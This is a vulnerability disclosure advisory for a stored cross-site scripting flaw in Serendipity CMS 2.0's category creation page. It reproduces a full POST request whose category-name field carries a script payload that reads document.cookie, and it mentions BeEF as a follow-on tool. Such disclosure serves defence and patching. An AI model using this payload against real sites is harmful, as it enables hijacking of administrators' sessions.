Serendipity CMS - XSS Vulnerability in Version 2.0

[edric () smarterbitbybit com]

Serendipity CMS - XSS Vulnerability in Version 2.0

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Product Information:

Software: Serendipity CMS
Tested Version: 2.0, released 23.1.2015
Vulnerability Type: Cross-Site Scripting (CWE-79)
Download link: http://www.s9y.org/12.html
Description: Serendipity is aimed to make everything possible you ever wish for. It is technically up to par to other 
well-known weblog scripts like Moveable Type or Wordpress. (copied from http://www.s9y.org/3.html)

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Vulnerability description:

XSS is found in category creation page.

When an authenticated user of Serendipity CMS is creating a new category, the following POST request is sent to the 
server:

POST /serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new 
HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 394
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: 
http://127.0.0.1/serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: serendipity[old_session]=q8jagkbn03i41p1hea1vp3mqi7; 
serendipity[author_token]=906de2dd7201b75f1f710f59128e1ffb5cec6cf4; serendipity[userDefLang]=en; 
serendipity[toggle_extended]=true; serendipity[addmedia_directory]=undefined; serendipity[sortorder_perpage]=; 
serendipity[sortorder_order]=; serendipity[sortorder_ordermode]=; serendipity[only_path]=; serendipity[only_filename]=; 
serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; 
serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; 
s9y_f857b4bc988a333c379a2d9bd477dd65=q8jagkbn03i41p1hea1vp3mqi7

serendipity%5Btoken%5D=b95339bd8490707038719715c6d58e63&serendipity%5Bcat%5D%5Bname%5D=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&serendipity%5Bcat%5D%5Bdescription%5D=&serendipity%5Bcat%5D%5Bparent_cat%5D=0&serendipity%5Bcat%5D%5Bhide_sub%5D=0&serendipity%5Bcat%5D%5Bread_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bwrite_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bicon%5D=&SAVE=Create

The parameter serendipity[cat][name] is vulnerable to XSS.

The payload is executed when an authenticated user navigates to the "New Entry" page.

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Impact:

An attacker is able to leverage on the XSS vulnerability to exploit content creator of Serendipity CMS. An example 
would be to inject malicious JavaScript code in order to use attacking tools like BeEF.

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Solution:

Update to the latest version, which is 2.0.1, see http://blog.s9y.org/archives/263-Serendipity-2.0.1-released.html

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Timeline:

Vulnerability found: 12.3.2015
Vendor informed: 12.3.2015
Response by vendor: 12.3.2015
Fix by vendor 12.3.2015
Public Advisory: 13.3.2015

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Reference:

https://github.com/s9y/Serendipity/commit/a30886d3bb9d8eeb6698948864c77caaa982435d

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Best regards,
Edric Teo